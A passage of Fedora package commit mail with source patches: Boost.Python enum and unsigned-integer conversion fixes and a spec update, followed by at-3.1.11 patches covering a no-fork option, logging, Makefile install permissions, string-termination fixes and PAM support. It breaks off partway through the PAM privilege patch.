+++ /trunk/libs/python/src/object/enum.cpp (revision 53660)
@@ -15,5 +15,5 @@
 #include <structmember.h>
 
-namespace boost { namespace python { namespace objects { 
+namespace boost { namespace python { namespace objects {
 
 struct enum_object
@@ -44,5 +44,5 @@
             if (name == 0)
                 return 0;
-            
+
             return PyString_FromFormat("%s.%s.%s", mod, self_->ob_type->tp_name, name);
         }
@@ -140,4 +140,5 @@
       d["__slots__"] = tuple();
       d["values"] = dict();
+      d["names"] = dict();
 
       object module_name = module_prefix();
@@ -146,7 +147,7 @@
       if (doc)
          d["__doc__"] = doc;
-      
+
       object result = (object(metatype))(name, make_tuple(base), d);
-      
+
       scope().attr(name) = result;
 
@@ -168,5 +169,5 @@
         = const_cast<converter::registration&>(
             converter::registry::lookup(id));
-            
+
     converters.m_class_object = downcast<PyTypeObject>(this->ptr());
     converter::registry::insert(to_python, id);
@@ -187,21 +188,22 @@
     dict d = extract<dict>(this->attr("values"))();
     d[value] = x;
-    
+
     // Set the name field in the new enum instanec
     enum_object* p = downcast<enum_object>(x.ptr());
     Py_XDECREF(p->name);
     p->name = incref(name.ptr());
+
+    dict names_dict = extract<dict>(this->attr("names"))();
+    names_dict[x.attr("name")] = x;
 }
 
 void enum_base::export_values()
 {
-    dict d = extract<dict>(this->attr("values"))();
-    list values = d.values();
+    dict d = extract<dict>(this->attr("names"))();
+    list items = d.items();
     scope current;
-    
-    for (unsigned i = 0, max = len(values); i < max; ++i)
-    {
-        api::setattr(current, object(values[i].attr("name")), values[i]);
-    }
+
+    for (unsigned i = 0, max = len(items); i < max; ++i)
+        api::setattr(current, items[i][0], items[i][1]);
  }
 

boost-python_uint.patch:
 src/converter/builtin_converters.cpp |   25 ++++++++++++---
 test/test_builtin_converters.py      |   58 +++++++++++++++++++++++++++++------
 2 files changed, 70 insertions(+), 13 deletions(-)

--- NEW FILE boost-python_uint.patch ---
Index: /trunk/libs/python/test/test_builtin_converters.py
===================================================================
--- /trunk/libs/python/test/test_builtin_converters.py (revision 40714)
+++ /trunk/libs/python/test/test_builtin_converters.py (revision 54919)
@@ -4,4 +4,22 @@
 r"""
 >>> from builtin_converters_ext import *
+
+# Use ctypes to get native C type sizes
+>>> from ctypes import sizeof, c_char, c_short, c_int, c_long, c_longlong
+>>> def test_values_signed(t):
+...     base = 2 ** (8 * sizeof(t) - 1)
+...     return [[-base, -1, 1, base - 1], [-base - 1, base]]
+>>> def test_values_unsigned(t):
+...     base = 2 ** (8 * sizeof(t))
+...     return [[1, base - 1], [-1L, -1, base]]
+>>> def should_pass(method, values):
+...     result = map(method, values)
+...     if result != values:
+...         print "Got %s but expected %s" % (result, values)
+>>> def test_overflow(method, values):
+...     for v in values:
+...         try: method(v)
+...         except OverflowError: pass
+...         else: print "OverflowError expected"
 
 # Synthesize idendity functions in case long long not supported
@@ -63,13 +81,35 @@
 
    show that we have range checking. 
- 
->>> try: rewrap_value_unsigned_short(-42)
-... except OverflowError: pass
-... else: print 'expected an OverflowError!'
-
->>> try: rewrap_value_int(sys.maxint * 2)
-... except OverflowError: pass
-... else: print 'expected an OverflowError!'
-
+
+>>> should_pass(rewrap_value_signed_char, test_values_signed(c_char)[0])
+>>> should_pass(rewrap_value_short, test_values_signed(c_short)[0])
+>>> should_pass(rewrap_value_int, test_values_signed(c_int)[0])
+>>> should_pass(rewrap_value_long, test_values_signed(c_long)[0])
+>>> should_pass(rewrap_value_long_long, test_values_signed(c_longlong)[0])
+
+>>> should_pass(rewrap_value_unsigned_char, test_values_unsigned(c_char)[0])
+>>> should_pass(rewrap_value_unsigned_short, test_values_unsigned(c_short)[0])
+>>> should_pass(rewrap_value_unsigned_int, test_values_unsigned(c_int)[0])
+>>> should_pass(rewrap_value_unsigned_long, test_values_unsigned(c_long)[0])
+>>> should_pass(rewrap_value_unsigned_long_long,
+...     test_values_unsigned(c_longlong)[0])
+
+>>> test_overflow(rewrap_value_signed_char, test_values_signed(c_char)[1])
+>>> test_overflow(rewrap_value_short, test_values_signed(c_short)[1])
+>>> test_overflow(rewrap_value_int, test_values_signed(c_int)[1])
+>>> test_overflow(rewrap_value_long, test_values_signed(c_long)[1])
+>>> test_overflow(rewrap_value_long_long, test_values_signed(c_longlong)[1])
+
+>>> test_overflow(rewrap_value_unsigned_char, test_values_unsigned(c_char)[1])
+>>> test_overflow(rewrap_value_unsigned_short, test_values_unsigned(c_short)[1])
+>>> test_overflow(rewrap_value_unsigned_int, test_values_unsigned(c_int)[1])
+>>> test_overflow(rewrap_value_unsigned_long, test_values_unsigned(c_long)[1])
+
+# Exceptionally for PyLong_AsUnsignedLongLong(), a negative value raises
+# TypeError on Python versions prior to 2.7
+>>> for v in test_values_unsigned(c_longlong)[1]:
+...     try: rewrap_value_unsigned_long_long(v)
+...     except (OverflowError, TypeError): pass
+...     else: print "OverflowError or TypeError expected"
 
 >>> assert abs(rewrap_value_float(4.2) - 4.2) < .000001
Index: /trunk/libs/python/src/converter/builtin_converters.cpp
===================================================================
--- /trunk/libs/python/src/converter/builtin_converters.cpp (revision 52299)
+++ /trunk/libs/python/src/converter/builtin_converters.cpp (revision 54919)
@@ -156,8 +156,25 @@
       static T extract(PyObject* intermediate)
       {
-          return numeric_cast<T>(
-              PyLong_Check(intermediate)
-              ? PyLong_AsUnsignedLong(intermediate)
-              : PyInt_AS_LONG(intermediate));
+          if (PyLong_Check(intermediate)) {
+              // PyLong_AsUnsignedLong() checks for negative overflow, so no
+              // need to check it here.
+              unsigned long result = PyLong_AsUnsignedLong(intermediate);
+              if (PyErr_Occurred())
+                  throw_error_already_set();
+              return numeric_cast<T>(result);
+          } else {
+              // None of PyInt_AsUnsigned*() functions check for negative
+              // overflow, so use PyInt_AS_LONG instead and check if number is
+              // negative, issuing the exception appropriately.
+              long result = PyInt_AS_LONG(intermediate);
+              if (PyErr_Occurred())
+                  throw_error_already_set();
+              if (result < 0) {
+                  PyErr_SetString(PyExc_OverflowError, "can't convert negative"
+                                  " value to unsigned");
+                  throw_error_already_set();
+              }
+              return numeric_cast<T>(result);
+          }
       }
   };


Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/devel/boost.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- boost.spec	13 Oct 2009 12:02:57 -0000	1.67
+++ boost.spec	14 Oct 2009 11:42:23 -0000	1.68
@@ -6,7 +6,7 @@
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.39.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -48,6 +48,10 @@ Patch5: boost-bitset.patch
 Patch6: boost-function_template.patch
 Patch7: boost-fs_gcc44.patch
 Patch8: boost-openssl-1.0.patch
+Patch9: boost-gil_gcc44.patch
+Patch10: boost-python_call_operator.patch
+Patch11: boost-python_enums.patch
+Patch12: boost-python_uint.patch
 
 %bcond_with tests
 %bcond_with docs_generated
@@ -232,6 +236,10 @@ sed 's/_FEDORA_SONAME/%{sonamever}/' %{P
 %patch6 -p0
 %patch7 -p0
 %patch8 -p1
+%patch9 -p0
+%patch10 -p2
+%patch11 -p2
+%patch12 -p2
 
 %build
 BOOST_ROOT=`pwd`
@@ -446,7 +454,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
-* Sun Oct 11 2009 Jitesh Shah <jiteshs at marvell.com> 1.39.0-6.fa1
+* Wed Oct 14 2009 Petr Machata <pmachata at redhat.com> - 1.39.0-8
+- Several fixes to support PySide
+- Resolves: #520087
+- GCC 4.4 name resolution fixes for GIL
+- Resolves: #526834
+
+* Sun Oct 11 2009 Jitesh Shah <jiteshs at marvell.com> 1.39.0-7
 - Disable long double support for ARM
 
 * Tue Sep 08 2009 Karsten Hopp <karsten at redhat.com> 1.39.0-6



From mmaslano at fedoraproject.org  Wed Oct 14 11:48:03 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed, 14 Oct 2009 11:48:03 +0000 (UTC)
Subject: rpms/at/devel at-3.1.11-dont_fork.patch, NONE,
	1.1 at-3.1.11-log.patch, NONE, 1.1 at-3.1.11-makefile.patch, NONE,
	1.1 at-3.1.11-nitpicks.patch, NONE, 1.1 at-3.1.11-opt_V.patch,
	NONE, 1.1 at-3.1.11-pam.patch, NONE, 1.1 at-3.1.11-pam2.patch,
	NONE, 1.1 at-3.1.11-selinux.patch, NONE,
	1.1 at-3.1.11-shell.patch, NONE, 1.1 .cvsignore, 1.8,
	1.9 at.spec, 1.79, 1.80 sources, 1.8, 1.9
Message-ID: <20091014114803.9D04811C00E5@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/at/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22369

Modified Files:
	.cvsignore at.spec sources 
Added Files:
	at-3.1.11-dont_fork.patch at-3.1.11-log.patch 
	at-3.1.11-makefile.patch at-3.1.11-nitpicks.patch 
	at-3.1.11-opt_V.patch at-3.1.11-pam.patch at-3.1.11-pam2.patch 
	at-3.1.11-selinux.patch at-3.1.11-shell.patch 
Log Message:
* Tue Oct 13 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.1.11-1
- 528582 add noreplace option into files section
- rewrite pam2 patch - check return value, use "better" macro, etc.
- new version of at


at-3.1.11-dont_fork.patch:
 atd.8.in |    6 +++++-
 atd.c    |    7 +++++--
 daemon.c |    8 ++++++--
 daemon.h |    1 +
 4 files changed, 17 insertions(+), 5 deletions(-)

--- NEW FILE at-3.1.11-dont_fork.patch ---
diff -up at-3.1.11/atd.8.in.dont_fork at-3.1.11/atd.8.in
--- at-3.1.11/atd.8.in.dont_fork	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/atd.8.in	2009-10-01 13:03:18.799878107 +0200
@@ -1,4 +1,4 @@
-.TH ATD 8 "Mar 1997" local "Linux Programmer's Manual"
+.TH ATD 8 "Sep 2009" at-3.1.11 "Linux Programmer's Manual"
 .SH NAME
 atd \- run jobs queued for later execution
 .SH SYNOPSIS
@@ -9,6 +9,7 @@ atd \- run jobs queued for later executi
 .IR batch_interval ]
 .RB [ -d ]
 .RB [ -s ]
+.RB [ -n ]
 .SH DESCRIPTION
 .B atd
 runs jobs queued by
@@ -45,6 +46,9 @@ A script invoking
 is installed as
 .B @prefix@/sbin/atrun
 for backward compatibility.
++.TP 8
++.B -n
++Don't fork option.
 .SH WARNING
 .B atd
 won't work if its spool directory is mounted via NFS even if
diff -up at-3.1.11/atd.c.dont_fork at-3.1.11/atd.c
--- at-3.1.11/atd.c.dont_fork	2009-10-01 13:03:18.000000000 +0200
+++ at-3.1.11/atd.c	2009-10-01 13:04:55.289631298 +0200
@@ -729,7 +729,7 @@ main(int argc, char *argv[])
     run_as_daemon = 1;
     batch_interval = BATCH_INTERVAL_DEFAULT;
 
-    while ((c = getopt(argc, argv, "sdl:b:")) != EOF) {
+    while ((c = getopt(argc, argv, "sdl:b:n")) != EOF) {
 	switch (c) {
 	case 'l':
 	    if (sscanf(optarg, "%lf", &load_avg) != 1)
@@ -744,7 +744,10 @@ main(int argc, char *argv[])
 	    break;
 	case 'd':
 	    daemon_debug++;
-	    break;
+        /* go through another option*/
+   case 'n':
+        daemon_nofork++;
+        break;
 
 	case 's':
 	    run_as_daemon = 0;
diff -up at-3.1.11/daemon.c.dont_fork at-3.1.11/daemon.c
--- at-3.1.11/daemon.c.dont_fork	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/daemon.c	2009-10-01 13:03:18.800878165 +0200
@@ -48,7 +48,8 @@
 #include "daemon.h"
 #include "privs.h"
 
-int daemon_debug;
+int daemon_debug = 0;
+int daemon_nofork = 0;
 
 static int
 lock_fd(int fd)
@@ -117,15 +118,18 @@ daemon_setup()
 	    (open("/dev/null", O_RDWR) != 2)) {
 	    perr("Error redirecting I/O");
 	}
+    }
+    if (daemon_nofork) pid = getpid();
+    else {
 	pid = fork();
 	if (pid == -1) {
 	    perr("Cannot fork");
 	} else if (pid != 0) {
 	    exit(0);
 	}
+	(void) setsid();
     }
     old_umask = umask(S_IWGRP | S_IWOTH);
-    (void) setsid();
 
     PRIV_START
 
diff -up at-3.1.11/daemon.h.dont_fork at-3.1.11/daemon.h
--- at-3.1.11/daemon.h.dont_fork	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/daemon.h	2009-10-01 13:03:18.801877593 +0200
@@ -14,3 +14,4 @@ __attribute__((noreturn))
 perr (const char *fmt, ...);
 
 extern int daemon_debug;
+extern int daemon_nofork;

at-3.1.11-log.patch:
 atd.c |   23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

--- NEW FILE at-3.1.11-log.patch ---
diff -up at-3.1.11/at.c.log at-3.1.11/at.c
diff -up at-3.1.11/atd.c.log at-3.1.11/atd.c
--- at-3.1.11/atd.c.log	2009-10-01 13:05:17.000000000 +0200
+++ at-3.1.11/atd.c	2009-10-01 13:25:48.437638709 +0200
@@ -83,6 +83,10 @@
 #include "getloadavg.h"
 #endif
 
+#ifndef LOG_ATD
+#define LOG_ATD        LOG_DAEMON
+#endif
+
 /* Macros */
 
 #define BATCH_INTERVAL_DEFAULT 60
@@ -195,6 +199,19 @@ myfork()
 #define fork myfork
 #endif
 
+#undef ATD_MAIL_PROGRAM
+#undef ATD_MAIL_NAME
+#if defined(SENDMAIL)
+#define ATD_MAIL_PROGRAM SENDMAIL
+#define ATD_MAIL_NAME    "sendmail"
+#elif  defined(MAILC)
+#define ATD_MAIL_PROGRAM MAILC
+#define ATD_MAIL_NAME    "mail"
+#elif  defined(MAILX)
+#define ATD_MAIL_PROGRAM MAILX
+#define ATD_MAIL_NAME    "mailx"
+#endif
+
 static void
 run_file(const char *filename, uid_t uid, gid_t gid)
 {
@@ -718,11 +735,7 @@ main(int argc, char *argv[])
 
     RELINQUISH_PRIVS_ROOT(daemon_uid, daemon_gid)
 
-#ifndef LOG_CRON
-#define LOG_CRON	LOG_DAEMON
-#endif
-
-    openlog("atd", LOG_PID, LOG_CRON);
+    openlog("atd", LOG_PID, LOG_ATD);
 
     opterr = 0;
     errno = 0;

at-3.1.11-makefile.patch:
 Makefile.in |   55 ++++++++++++++++++++++++++++++++-----------------------
 1 file changed, 32 insertions(+), 23 deletions(-)

--- NEW FILE at-3.1.11-makefile.patch ---
diff -up at-3.1.11/Makefile.in.make at-3.1.11/Makefile.in
--- at-3.1.11/Makefile.in.make	2009-08-14 18:49:05.000000000 +0200
+++ at-3.1.11/Makefile.in	2009-10-02 10:36:24.104162973 +0200
@@ -50,6 +51,8 @@ HEADERS 	= at.h panic.h parsetime.h perm
 
 OTHERS		= parsetime.l parsetime.y
 
+TEST_VERBOSE	= 0
+
 DOCS =  Problems Copyright README ChangeLog timespec
 
 MISC =  COPYING  Makefile.in configure acconfig.h install-sh \
@@ -65,13 +68,13 @@ LIST = Filelist Filelist.asc
 all: at atd atrun
 
 at: $(ATOBJECTS)
-	$(CC) $(CFLAGS) -o at $(ATOBJECTS) $(LIBS) $(LEXLIB)
+	$(CC) $(CFLAGS) -o at -pie $(ATOBJECTS) $(LIBS) $(LEXLIB) $(SELINUXLIB) $(PAMLIB)
 	rm -f $(CLONES)
 	$(LN_S) -f at atq
 	$(LN_S) -f at atrm
 
 atd: $(RUNOBJECTS)
-	$(CC) $(CFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB)
+	$(CC) $(CFLAGS) -o atd -pie $(RUNOBJECTS) $(LIBS) $(SELINUXLIB) $(PAMLIB)
 
 y.tab.c y.tab.h: parsetime.y
 	$(YACC) -d parsetime.y
@@ -83,38 +86,42 @@ atrun: atrun.in
 	configure
 
 .c.o:
-	$(CC) -c $(CFLAGS) $(DEFS) $*.c
+	$(CC) -c $(CFLAGS) -fPIE $(DEFS) $*.c
 
 install: all
-	$(INSTALL) -g root -o root -m 755 -d $(IROOT)$(etcdir)
-	$(INSTALL) -g root -o root -m 755 -d $(IROOT)$(bindir)
-	$(INSTALL) -g root -o root -m 755 -d $(IROOT)$(sbindir)
-	$(INSTALL) -g root -o root -m 755 -d $(IROOT)$(docdir)
-	$(INSTALL) -g root -o root -m 755 -d $(IROOT)$(atdocdir)
-	$(INSTALL) -g $(DAEMON_GROUPNAME) -o $(DAEMON_USERNAME) -m 755 -d $(IROOT)$(ATSPOOL_DIR) $(IROOT)$(ATJOB_DIR)
-	chmod 1770 $(IROOT)$(ATSPOOL_DIR) $(IROOT)$(ATJOB_DIR)
+	$(INSTALL) -m 755 -d $(IROOT)$(etcdir)
+	$(INSTALL) -m 755 -d $(IROOT)$(bindir)
+	$(INSTALL) -m 755 -d $(IROOT)$(sbindir)
+	$(INSTALL) -m 755 -d $(IROOT)$(docdir)
+	$(INSTALL) -m 755 -d $(IROOT)$(atdocdir)
+	$(INSTALL) -m 755 -d $(IROOT)$(ATJOB_DIR)
+	$(INSTALL) -m 755 -d $(IROOT)$(etcdir)/pam.d
+	$(INSTALL) -g $(DAEMON_GROUPNAME) -o $(DAEMON_USERNAME) -m 755 -d $(IROOT)$(ATSPOOL_DIR)
+	chmod 700 $(IROOT)$(ATJOB_DIR) $(IROOT)$(ATSPOOL_DIR)
+	chown $(DAEMON_USERNAME):$(DAEMON_GROUPNAME) $(IROOT)$(ATJOB_DIR) $(IROOT)$(ATSPOOL_DIR)
 	touch $(IROOT)$(LFILE)
 	chmod 600 $(IROOT)$(LFILE)
 	chown $(DAEMON_USERNAME):$(DAEMON_GROUPNAME) $(IROOT)$(LFILE)
-	test -f $(IROOT)$(etcdir)/at.allow || test -f $(IROOT)$(etcdir)/at.deny || $(INSTALL) -o root -g $(DAEMON_GROUPNAME) -m 640 at.deny $(IROOT)$(etcdir)/
-	$(INSTALL) -g $(DAEMON_GROUPNAME) -o $(DAEMON_USERNAME) -m 6755 -s at $(IROOT)$(bindir)
+	test -f $(IROOT)$(etcdir)/at.allow || test -f $(IROOT)$(etcdir)/at.deny || $(INSTALL)  -m 600 at.deny $(IROOT)$(etcdir)/
+	$(INSTALL) -o $(INSTALL_ROOT_USER) -g $(DAEMON_GROUPNAME) pam_atd $(IROOT)$(etcdir)/pam.d/atd
+	$(INSTALL) -m 4755 at $(IROOT)$(bindir)
 	$(LN_S) -f at $(IROOT)$(bindir)/atq
 	$(LN_S) -f at $(IROOT)$(bindir)/atrm
-	$(INSTALL) -g root -o root -m 755 batch $(IROOT)$(bindir)
-	$(INSTALL) -d -o root -g root -m 755 $(IROOT)$(man1dir)
-	$(INSTALL) -d -o root -g root -m 755 $(IROOT)$(man5dir)
-	$(INSTALL) -d -o root -g root -m 755 $(IROOT)$(man8dir)
-	$(INSTALL) -g root -o root -m 755 -s atd $(IROOT)$(sbindir)
-	$(INSTALL) -g root -o root -m 755 atrun $(IROOT)$(sbindir)
-	$(INSTALL) -g root -o root -m 644 at.1 $(IROOT)$(man1dir)/
+	$(INSTALL) -m 755 batch $(IROOT)$(bindir)
+	$(INSTALL) -d -m 755 $(IROOT)$(man1dir)
+	$(INSTALL) -d -m 755 $(IROOT)$(man5dir)
+	$(INSTALL) -d -m 755 $(IROOT)$(man8dir)
+	$(INSTALL) -m 755 atd $(IROOT)$(sbindir)
+	$(INSTALL) -m 755 atrun $(IROOT)$(sbindir)
+	$(INSTALL) -m 644 at.1 $(IROOT)$(man1dir)/
 	cd $(IROOT)$(man1dir) && $(LN_S) -f at.1 atq.1 && $(LN_S) -f at.1 batch.1 && $(LN_S) -f at.1 atrm.1
-	$(INSTALL) -g root -o root -m 644 atd.8 $(IROOT)$(man8dir)/
+	$(INSTALL) -m 644 atd.8 $(IROOT)$(man8dir)/
 	sed "s,\$${exec_prefix},$(exec_prefix),g" <atrun.8>tmpman
-	$(INSTALL) -g root -o root -m 644 tmpman $(IROOT)$(man8dir)/atrun.8
+	$(INSTALL) -m 644 tmpman $(IROOT)$(man8dir)/atrun.8
 	rm -f tmpman
-	$(INSTALL) -g root -o root -m 644 at_allow.5 $(IROOT)$(man5dir)/
+	$(INSTALL) -m 644 at_allow.5 $(IROOT)$(man5dir)/
 	cd $(IROOT)$(man5dir) && $(LN_S) -f at_allow.5 at_deny.5 
-	$(INSTALL) -g root -o root -m 644 $(DOCS) $(IROOT)$(atdocdir)
+	$(INSTALL) -m 644 $(DOCS) $(IROOT)$(atdocdir)
 	rm -f $(IROOT)$(mandir)/cat1/at.1* $(IROOT)$(mandir)/cat1/batch.1* \
 		$(IROOT)$(mandir)/cat1/atq.1*
 	rm -f $(IROOT)$(mandir)/cat1/atd.8*
@@ -148,6 +155,9 @@ Filelist.asc: Filelist
 parsetest: lex.yy.c y.tab.c
 	$(CC) -o parsetest $(CFLAGS) $(DEFS) -DTEST_PARSER -DNEED_YYWRAP lex.yy.c y.tab.c
 
+test: parsetest
+	PERL_DL_NONLAZY=1 perl -e 'use Test::Harness qw(&runtests $$verbose); $$verbose=$(TEST_VERBOSE); runtests @ARGV;' test.pl
+
 .depend: $(CSRCS)
 	gcc $(CFLAGS) $(DEFS) -MM $(CSRCS) > .depend
 

at-3.1.11-nitpicks.patch:
 at.1.in      |    6 ++++--
 atd.c        |    9 ++++++++-
 configure.ac |    2 +-
 3 files changed, 13 insertions(+), 4 deletions(-)

--- NEW FILE at-3.1.11-nitpicks.patch ---
diff -up at-3.1.11/at.1.in.typo at-3.1.11/at.1.in
--- at-3.1.11/at.1.in.typo	2009-08-14 12:49:05.000000000 -0400
+++ at-3.1.11/at.1.in	2009-09-29 13:11:37.869869479 -0400
@@ -89,7 +89,9 @@ or giving a date of the form
 or
 .B MM/DD/YY
 or
-.B DD.MM.YY.
+.B DD.MM.YY
+or
+.B YYYY-MM-DD.
 The specification of a date
 .I must
 follow the specification of the time of day.
@@ -119,7 +121,7 @@ and to run a job at 1am tomorrow, you wo
 .B at 1am tomorrow.
 .PP
 The exact definition of the time specification can be found in
-.IR @prefix@/share/doc/at/timespec .
+.IR @prefix@/share/doc/at- at VERSION@/timespec .
 .PP
 For both
 .BR at " and " batch ,
diff -up at-3.1.11/atd.c.typo at-3.1.11/atd.c
--- at-3.1.11/atd.c.typo	2009-09-29 13:02:17.068860987 -0400
+++ at-3.1.11/atd.c	2009-09-29 13:02:17.099881137 -0400
@@ -276,6 +276,8 @@ run_file(const char *filename, uid_t uid
 	free(newname);
 	return;
     }
+    (void) setsid(); //own session for process
+
     /* Let's see who we mail to.  Hopefully, we can read it from
      * the command file; if not, send it to the owner, or, failing that,
      * to root.
@@ -497,7 +499,7 @@ run_file(const char *filename, uid_t uid
 #if defined(SENDMAIL)
 	    execl(SENDMAIL, "sendmail", mailname, (char *) NULL);
 #else
-#error      "No mail command specified."
+	    perr("No mail command specified.");
 #endif
 	    perr("Exec failed for mail command");
 
@@ -606,6 +608,7 @@ run_loop()
 		 * Let's remove the lockfile and reschedule.
 		 */
 		strncpy(lock_name, dirent->d_name, sizeof(lock_name));
+		lock_name[sizeof(lock_name)-1] = '\0';
 		lock_name[0] = '=';
 		unlink(lock_name);
 		next_job = now;
@@ -640,6 +643,7 @@ run_loop()
 	    run_batch++;
 	    if (strcmp(batch_name, dirent->d_name) > 0) {
 		strncpy(batch_name, dirent->d_name, sizeof(batch_name));
+		batch_name[sizeof(batch_name)-1] = '\0';
 		batch_uid = buf.st_uid;
 		batch_gid = buf.st_gid;
 		batch_queue = queue;

diff -up at-3.1.11/configure.ac.aaa at-3.1.11/configure.ac
--- at-3.1.11/configure.ac.aaa	2009-08-14 12:49:05.000000000 -0400
+++ at-3.1.11/configure.ac	2009-09-29 13:35:59.230866054 -0400
@@ -5,7 +5,7 @@ AC_CONFIG_SRCDIR(at.c)
 
 AC_PREFIX_DEFAULT(/usr)
 AC_CONFIG_HEADER(config.h)
-AC_PREREQ([2.64])
+AC_PREREQ([2.63])
 
 VERSION=AC_PACKAGE_VERSION
 if test "X$CFLAGS" = "X"; then
diff -up at-3.1.11/atd.c.seg at-3.1.11/atd.c
--- at-3.1.11/atd.c.seg	2009-08-14 12:49:05.000000000 -0400
+++ at-3.1.11/atd.c	2009-09-29 12:15:55.200864618 -0400
@@ -435,6 +435,9 @@ run_file(const char *filename, uid_t uid
 	    if (setuid(uid) < 0)
 		perr("Cannot set user id");
 
+	    if (SIG_ERR == signal(SIGCHLD, SIG_DFL))
+		perr("Cannot reset signal handler to default");
+
 	    chdir("/");
 
 	    if (execle("/bin/sh", "sh", (char *) NULL, nenvp) != 0)

at-3.1.11-opt_V.patch:
 at.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE at-3.1.11-opt_V.patch ---
diff -up at-3.1.11/at.c.opt_V at-3.1.11/at.c
--- at-3.1.11/at.c.opt_V	2009-09-29 12:42:16.000000000 -0400
+++ at-3.1.11/at.c	2009-09-29 12:46:43.998865749 -0400
@@ -857,10 +857,9 @@ main(int argc, char **argv)
      */
 
     if (disp_version) {
-	fprintf(stderr, "at version " VERSION "\n"
-	   "Please report bugs to the Debian bug tracking system (http://bugs.debian.org/)\n"
-	   "or contact the maintainers (at at packages.debian.org).\n");
-	exit(EXIT_SUCCESS);
+        fprintf(stderr, "at version " VERSION "\n");
+        if (argc == 2)
+            exit(EXIT_SUCCESS);
     }
 
     /* select our program

at-3.1.11-pam.patch:
 pam_atd |    9 +++++++++
 1 file changed, 9 insertions(+)

--- NEW FILE at-3.1.11-pam.patch ---
--- at-3.1.10/pam_atd.pam   2007-07-03 13:29:24.000000000 +0200
+++ at-3.1.10/pam_atd   2007-07-03 13:29:24.000000000 +0200
@@ -0,0 +1,9 @@
+# The PAM configuration file for the at daemon
+#
+#
+auth       required    pam_env.so
+auth       include     password-auth
+account    required    pam_access.so
+account    include     password-auth
+session    required    pam_loginuid.so
+session    include     password-auth

at-3.1.11-pam2.patch:
 at.c         |   23 +++++----------
 atd.c        |   89 +++++++++++++++++++++++++++++++++++++++++------------------
 config.h.in  |    4 +-
 configure.ac |    9 +++++
 perm.c       |   49 ++++++++++++++++++++++++++++++--
 privs.h      |   57 +++++++++++++++++++++++++++++++++++++
 6 files changed, 183 insertions(+), 48 deletions(-)

--- NEW FILE at-3.1.11-pam2.patch ---
diff -up at-3.1.11/at.c.pam2 at-3.1.11/at.c
--- at-3.1.11/at.c.pam2	2009-10-13 16:47:23.277378517 +0200
+++ at-3.1.11/at.c	2009-10-13 16:47:23.321377936 +0200
@@ -315,26 +315,19 @@ writefile(time_t runtimer, char queue)
 	 * bit.  Yes, this is a kluge.
 	 */
 	cmask = umask(S_IRUSR | S_IWUSR | S_IXUSR);
-        seteuid(real_uid);
+       if ((seteuid(effective_uid)) < 0)
+	    perr("Error in seteuid: %s", errno);
 	if ((fd = open(atfile, O_CREAT | O_EXCL | O_TRUNC | O_WRONLY, S_IRUSR)) == -1)
 	    perr("Cannot create atjob file %.500s", atfile);
-        seteuid(effective_uid);
 
 	if ((fd2 = dup(fd)) < 0)
 	    perr("Error in dup() of job file");
 
-        /*
 	if (fchown(fd2, real_uid, real_gid) != 0)
-	    perr("Cannot give away file");
-        */
+	    perr("Cannot give real_uid and real_gid the file");
 
     PRIV_END
 
-    /* We no longer need suid root; now we just need to be able to write
-     * to the directory, if necessary.
-     */
-
-    REDUCE_PRIV(daemon_uid, daemon_gid)
     /* We've successfully created the file; let's set the flag so it 
      * gets removed in case of an interrupt or error.
      */
@@ -493,7 +486,7 @@ writefile(time_t runtimer, char queue)
      */
 
     if (fchmod(fd2, S_IRUSR | S_IWUSR | S_IXUSR) < 0)
-	perr("Cannot give away file");
+	perr("Cannot change the mode of the file");
 
     close(fd2);
 
@@ -658,7 +651,7 @@ process_jobs(int argc, char **argv, int 
                     We need the unprivileged uid here since the file is owned by the real
                     (not effective) uid.
                     */
-                    setregid(real_gid, effective_gid);
+		    PRIV_START
 
 		    if (queue == '=') {
 			fprintf(stderr, "Warning: deleting running job\n");
@@ -667,8 +660,8 @@ process_jobs(int argc, char **argv, int 
 			perr("Cannot unlink %.500s", dirent->d_name);
 			rc = EXIT_FAILURE;
 		    }
+		    PRIV_END
 
-                    setregid(effective_gid, real_gid);
 		    done = 1;
 
 		    break;
@@ -678,7 +671,7 @@ process_jobs(int argc, char **argv, int 
 			FILE *fp;
 			int ch;
 
-			setregid(real_gid, effective_gid);
+			PRIV_START
 			fp = fopen(dirent->d_name, "r");
 
 			if (fp) {
@@ -691,7 +684,7 @@ process_jobs(int argc, char **argv, int 
 			    perr("Cannot open %.500s", dirent->d_name);
 			    rc = EXIT_FAILURE;
 			}
-			setregid(effective_gid, real_gid);
+			PRIV_END
 		    }
 		    break;
 
diff -up at-3.1.11/atd.c.pam2 at-3.1.11/atd.c
--- at-3.1.11/atd.c.pam2	2009-10-13 16:47:23.297368464 +0200
+++ at-3.1.11/atd.c	2009-10-13 16:48:21.696629698 +0200
@@ -112,7 +112,7 @@ static int run_as_daemon = 0;
 
 static volatile sig_atomic_t term_signal = 0;
 
-#ifdef HAVE_PAM
+#ifdef WITH_PAM
 #include <security/pam_appl.h>
 
 static pam_handle_t *pamh = NULL;
@@ -121,15 +121,7 @@ static const struct pam_conv conv = {
 	NULL
 };
 
-#define PAM_FAIL_CHECK if (retcode != PAM_SUCCESS) { \
-	fprintf(stderr,"\n%s\n",pam_strerror(pamh, retcode)); \
-	syslog(LOG_ERR,"%s",pam_strerror(pamh, retcode)); \
-	pam_end(pamh, retcode); exit(1); \
-    }
-#define PAM_END { retcode = pam_close_session(pamh,0); \
-		pam_end(pamh,retcode); }
-
-#endif /* HAVE_PAM */
+#endif /* WITH_PAM */
 
 /* Signal handlers */
 RETSIGTYPE 
